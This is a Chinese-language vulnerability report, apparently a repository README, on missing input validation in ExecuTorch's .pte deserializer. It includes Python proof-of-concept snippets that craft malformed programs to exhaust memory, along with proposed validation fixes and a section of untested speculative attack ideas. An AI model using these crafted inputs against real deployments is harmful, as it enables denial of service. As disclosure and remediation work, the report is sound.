executorch / README.md
yibai777's picture
Upload 6 files
3b30e81 verified
|
Raw
History Blame Contribute Delete
9.54 kB
# ExecuTorch .pte Format — 文件格式验证缺失导致拒绝服务
## 概述
**项目**: executorch (PyTorch Edge Runtime)
**版本**: 1.2.0+cpu
**格式**: .pte (Program Transfer Executable, FlatBuffers 二进制)
**CVSS 3.1**: 5.5 (Medium) — `AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`
**CWE**: CWE-20 (Improper Input Validation), CWE-400 (Uncontrolled Resource Consumption)
## 漏洞摘要
| # | 漏洞 | 严重程度 | PoC 结果 |
|---|------|----------|----------|
| 1 | Tensor 维度无上界检查 | Medium | `[2^31-1, 2^31-1]` 和 10000 维 tensor 被接受 |
| 2 | 列表字段无数目限制 | Medium | 100,000 个 execution plan 被接受,6.55s 解析时间 |
| 3 | 负数/零维 tensor 不拒绝 | Low | `[-100]``[0]` 维度通过验证 |
| 4 | Buffer 索引越界引用 | Medium | `data_buffer_idx=999` 但仅 0 个 buffer 存在 |
| 5 | Segment 偏移无验证 | Medium | `offset=-1``size=999999999` 被接受 |
| 6 | `deserialize_pte_binary()` 零结构验证 | Medium | 直接从二进制 → flatc → JSON → 对象,无任何安检 |
## 技术分析
### 1. 加载管道完全无验证
`deserialize_pte_binary()` 的完整调用链:
```
.pte binary → flatc subprocess (JSON decompile) → json.loads()
→ _json_to_dataclass() → Program dataclass
```
**没有任何一个环节执行结构安全性检查**
- `flatc` 仅检查 FlatBuffer 格式正确性(file_identifier "ET12"),不检查模型语义
- `json.loads()` 仅解析 JSON,不验证内容
- `_json_to_dataclass()` 递归构造数据类,无边界检查
- `verifier.py` 仅检查图级别语义(算子合法性、tensor 连续性),且**默认不启用**
### 2. Tensor 维度无上界(`schema.py:66`)
```python
@dataclass
class Tensor:
scalar_type: ScalarType
storage_offset: int
sizes: List[int] # ← 无上限!可以是任意整数值
dim_order: List[int] # ← 无数目限制!可以是 10000 维
...
```
对比 ONNX 的 `check_model()` 会验证 shape 合理性,ExecuTorch 直接接受 `sizes=[2147483647, 2147483647]`(4.6 exa-elements)而只有 1 byte 的实际存储。
### 3. 列表字段无条目数限制
```python
@dataclass
class Program:
execution_plan: List[ExecutionPlan] # ← 可以是 100,000 个
...
@dataclass
class ExecutionPlan:
values: List[EValue] # ← 无限制
chains: List[Chain] # ← 无限制
operators: List[Operator] # ← 无限制
delegates: List[BackendDelegate] # ← 无限制
```
100,000 个 execution plan 的 JSON 仅 20.6 MB,但解析后产生海量 Python 对象,可导致 OOM。
### 4. 关键代码路径
**deserialize_pte_binary** (`_serialize/_program.py:747-770`):
```python
def deserialize_pte_binary(program_data: bytes) -> PTEFile:
# 无magic检查,无大小限制,无完整性验证
program: Program = _json_to_program(
_program_flatbuffer_to_json(program_data[:program_size])
)
...
```
**_json_to_dataclass** (`_serialize/_dataclass.py:60-145`):
```python
def _json_to_dataclass(json_dict, cls=None):
# 递归处理,无深度限制
# List字段无条目数限制
# int字段无取值范围检查
for field in cls_flds:
...
if get_origin(T) is list:
data[key] = [_json_to_dataclass(e, T) for e in value]
```
### 5. 与其他 ML 格式对比
| 特性 | ONNX | TF SavedModel | Core ML | OpenVINO | **ExecuTorch** |
|------|------|---------------|---------|----------|----------------|
| Shape 上界检查 | ✅ check_model | ✅ | ❌ | ❌ (C++ 有) | **❌** |
| 维度 > 0 验证 | ✅ | ✅ | ❌ | ❌ | **❌** |
| 列表计数限制 | ✅ | ✅ | ❌ | ❌ | **❌** |
| Buffer 索引验证 | ✅ | ✅ | ❌ | ✅ | **❌** |
| 加载前结构验证 | ✅ | ✅ | ❌ | ❌ | **❌** |
| 独立 check_model | ✅ | N/A | ❌ | ❌ | **❌** |
## 复现过程
### PoC 1: 极端 Tensor 维度导致内存耗尽
```python
from executorch.exir._serialize._program import _json_to_program
import json
crafted_json = json.dumps({
"version": 1,
"execution_plan": [{
"name": "forward",
"container_meta_type": {"encoded_inp_str": "", "encoded_out_str": ""},
"values": [{
"val": {
"scalar_type": "FLOAT",
"storage_offset": 0,
"sizes": [2147483647, 2147483647], # 4.6 exa-elements
"dim_order": [0, 1],
"requires_grad": False,
"layout": 0,
"data_buffer_idx": 0,
"allocation_info": None,
"shape_dynamism": "STATIC"
},
"val_type": "Tensor"
}],
"inputs": [], "outputs": [], "chains": [],
"operators": [], "delegates": [],
"non_const_buffer_sizes": [0]
}],
"constant_buffer": [{"storage": [0]}], # 仅 1 byte
"backend_delegate_data": [],
"segments": [],
"constant_segment": {"segment_index": 0, "offsets": []}
})
program = _json_to_program(crafted_json.encode("utf-8"))
# ✅ 成功!无错误!
print(program.execution_plan[0].values[0].val.sizes)
# [2147483647, 2147483647]
```
### PoC 2: 海量列表导致 OOM
```python
N = 100000
crafted_json = json.dumps({
"version": 1,
"execution_plan": [
{"name": f"plan_{i}", ...}
for i in range(N) # 100,000 个 plan
],
...
})
program = _json_to_program(crafted_json.encode("utf-8"))
# ✅ 成功!解析耗时 6.55s
```
### PoC 3: 负数维度
```python
"sizes": [-1] # ✅ 被接受
"sizes": [-100] # ✅ 被接受
"sizes": [0] # ✅ 被接受
```
### PoC 4: Buffer 索引越界
```python
"data_buffer_idx": 999 # 只有 0 个 buffer
# ✅ 被接受!运行时崩溃
```
## 修复建议
### 1. 添加维度边界检查(`_dataclass.py` 或 `_program.py`)
```python
MAX_TENSOR_DIM_VALUE = 2**31 - 1 # 合理的上界
MAX_TENSOR_DIM_COUNT = 32 # 最大维度数
MAX_TOTAL_ELEMENTS = 2**48 # ~256T elements 上界
def _validate_tensor_dims(sizes: List[int]) -> None:
if len(sizes) > MAX_TENSOR_DIM_COUNT:
raise ValueError(f"Tensor dimension count {len(sizes)} exceeds {MAX_TENSOR_DIM_COUNT}")
for i, s in enumerate(sizes):
if s <= 0:
raise ValueError(f"Tensor dimension {i} is {s}, must be > 0")
if s > MAX_TENSOR_DIM_VALUE:
raise ValueError(f"Tensor dimension {i} value {s} exceeds {MAX_TENSOR_DIM_VALUE}")
def _validate_tensor_buffer_index(tensor, num_buffers):
if tensor.data_buffer_idx >= num_buffers:
raise ValueError(
f"Tensor references buffer {tensor.data_buffer_idx} "
f"but only {num_buffers} buffers exist"
)
```
### 2. 限制列表条目数
```python
MAX_EXECUTION_PLANS = 1024
MAX_VALUES = 2**20
MAX_CHAINS = 1024
MAX_OPERATORS = 2**16
MAX_DELEGATES = 256
def _validate_program_limits(program: Program) -> None:
if len(program.execution_plan) > MAX_EXECUTION_PLANS:
raise ValueError(f"Too many execution plans: {len(program.execution_plan)}")
for plan in program.execution_plan:
if len(plan.values) > MAX_VALUES:
raise ValueError(f"Too many values: {len(plan.values)}")
# ...
```
### 3. 添加 `check_model()` 等价函数
```python
def check_pte(program: Program) -> None:
"""Validate structural integrity of a deserialized .pte program."""
_validate_program_limits(program)
num_buffers = len(program.constant_buffer)
for plan in program.execution_plan:
for evalue in plan.values:
if isinstance(evalue.val, Tensor):
_validate_tensor_dims(evalue.val.sizes)
_validate_tensor_buffer_index(evalue.val, num_buffers)
for i, seg in enumerate(program.segments):
if seg.offset < 0:
raise ValueError(f"Segment {i} has negative offset {seg.offset}")
```
### 4. 在 `deserialize_pte_binary()` 中集成验证
```python
def deserialize_pte_binary(program_data: bytes) -> PTEFile:
# ... existing parsing code ...
program = _json_to_program(...)
check_pte(program) # ← 添加此行
# ... restore segments ...
```
## 想法(发散思维)
1. **越界 buffer 索引 → C++ 运行时崩溃 → 潜在 UAF/越界读写**`data_buffer_idx=999` 被 Python 层接受,如果 C++ 运行时信任此索引直接访问数组,可能导致内存损坏
2. **极端维度 × 运行时编译**:C++ 运行时 `compile_model()` 会根据 tensor 维度分配内存。如果 Python 层不验证,恶意的 2^31 维度会传递到 C++ 层导致 malloc 失败或整数溢出
3. **flatc 版本依赖性**:executorch 打包了自己的 `flatc` 二进制(`executorch/data/bin/flatc`),如果版本过旧可能包含已知漏洞
4. **Schema 版本升级绕过**`schema_check.py` 管理 schema 版本兼容性,但版本检查仅用于检测 schema 变更,不作为安全验证。攻击者可以声明任意 SCHEMA_VERSION
5. **FlatBuffer `force_align` 操纵**:`_patch_schema_alignment()` 修改对齐值,如果攻击者控制 alignment 值可能导致段偏移计算错误
6. **与 ONNX/OpenVINO 漏洞的共性**:所有 ML 格式的 Python 前端都缺乏结构验证,说明这是一个行业性盲区——开发者依赖底层序列化格式(Protobuf/FlatBuffers)的安全性,但忽略了模型语义层面的恶意构造
## 文件清单
- `poc_executorch_bypass.py` — 7 个 PoC 的完整测试脚本
- `README.md` — 本文件